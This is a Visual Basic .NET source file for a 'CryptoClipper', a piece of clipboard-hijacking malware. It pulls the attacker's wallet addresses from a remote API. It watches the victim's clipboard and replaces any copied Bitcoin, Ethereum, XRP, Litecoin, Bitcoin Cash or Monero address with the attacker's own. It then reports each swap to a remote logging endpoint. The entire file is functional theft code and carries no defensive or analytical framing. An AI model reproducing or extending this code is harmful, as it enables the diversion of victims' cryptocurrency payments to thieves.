Imports System.Net.Http
Imports System.Text
Imports System.Text.RegularExpressions
Imports System.Threading
Imports System.Windows.Forms

Public Class CryptoClipper
    Private ReadOnly apiKey As String
    Private ReadOnly apiBaseUrl As String
    Private ReadOnly httpClient As HttpClient
    Private ReadOnly clipboardMonitor As Thread
    Private ReadOnly supportedCoins As Dictionary(Of String, String)
    Private isRunning As Boolean = False

    Public Sub New(apiKey As String, apiBaseUrl As String)
        Me.apiKey = apiKey
        Me.apiBaseUrl = apiBaseUrl
        Me.httpClient = New HttpClient()
        Me.httpClient.DefaultRequestHeaders.Add("X-API-Key", apiKey)
        Me.supportedCoins = New Dictionary(Of String, String)()
        Me.clipboardMonitor = New Thread(AddressOf MonitorClipboard)
    End Sub

    Public Async Function InitializeAsync() As Task
        Try
            ' Get addresses from API
            Dim response = Await httpClient.GetAsync($"{apiBaseUrl}?endpoint=get_addresses")
            If response.IsSuccessStatusCode Then
                Dim content = Await response.Content.ReadAsStringAsync()
                Dim result = Newtonsoft.Json.JsonConvert.DeserializeObject(Of Dictionary(Of String, Object))(content)
                
                If result("status").ToString() = "success" Then
                    Dim addresses = Newtonsoft.Json.JsonConvert.DeserializeObject(Of Dictionary(Of String, String))(result("addresses").ToString())
                    For Each kvp In addresses
                        supportedCoins(kvp.Key) = kvp.Value
                    Next
                End If
            End If
        Catch ex As Exception
            ' Log error
            Debug.WriteLine($"Error initializing crypto clipper: {ex.Message}")
        End Try
    End Function

    Public Sub Start()
        If Not isRunning Then
            isRunning = True
            clipboardMonitor.Start()
        End If
    End Sub

    Public Sub Stop()
        isRunning = False
        If clipboardMonitor.IsAlive Then
            clipboardMonitor.Join()
        End If
    End Sub

    Private Sub MonitorClipboard()
        Dim lastClipboardText As String = ""
        
        While isRunning
            Try
                If Clipboard.ContainsText() Then
                    Dim currentText = Clipboard.GetText()
                    
                    ' Only process if clipboard content has changed
                    If currentText <> lastClipboardText Then
                        lastClipboardText = currentText
                        
                        ' Check if the text matches any crypto address pattern
                        For Each coin In supportedCoins
                            If IsValidCryptoAddress(currentText, coin.Key) Then
                                ' Replace with our address
                                Clipboard.SetText(coin.Value)
                                
                                ' Log the replacement
                                LogClipboardReplacement(coin.Key, currentText, coin.Value)
                                
                                ' Update last clipboard text
                                lastClipboardText = coin.Value
                                Exit For
                            End If
                        Next
                    End If
                End If
                
                ' Sleep to prevent high CPU usage
                Thread.Sleep(100)
            Catch ex As Exception
                ' Log error
                Debug.WriteLine($"Error in clipboard monitor: {ex.Message}")
            End Try
        End While
    End Sub

    Private Function IsValidCryptoAddress(address As String, coin As String) As Boolean
        ' Basic validation patterns for different cryptocurrencies
        Select Case coin.ToUpper()
            Case "BTC"
                Return Regex.IsMatch(address, "^[13][a-km-zA-HJ-NP-Z1-9]{25,34}$")
            Case "ETH"
                Return Regex.IsMatch(address, "^0x[a-fA-F0-9]{40}$")
            Case "XRP"
                Return Regex.IsMatch(address, "^r[0-9a-zA-Z]{24,34}$")
            Case "LTC"
                Return Regex.IsMatch(address, "^[LM3][a-km-zA-HJ-NP-Z1-9]{26,33}$")
            Case "BCH"
                Return Regex.IsMatch(address, "^[13][a-km-zA-HJ-NP-Z1-9]{25,34}$")
            Case "XMR"
                Return Regex.IsMatch(address, "^4[0-9AB][1-9A-HJ-NP-Za-km-z]{93}$")
            Case Else
                Return False
        End Select
    End Function

    Private Async Sub LogClipboardReplacement(coin As String, originalAddress As String, replacedAddress As String)
        Try
            Dim data = New Dictionary(Of String, String) From {
                {"coin", coin},
                {"original_address", originalAddress},
                {"replaced_address", replacedAddress}
            }
            
            Dim content = New StringContent(
                Newtonsoft.Json.JsonConvert.SerializeObject(data),
                Encoding.UTF8,
                "application/json"
            )
            
            Await httpClient.PostAsync($"{apiBaseUrl}?endpoint=log_clip", content)
        Catch ex As Exception
            ' Log error
            Debug.WriteLine($"Error logging clipboard replacement: {ex.Message}")
        End Try
    End Sub
End Class 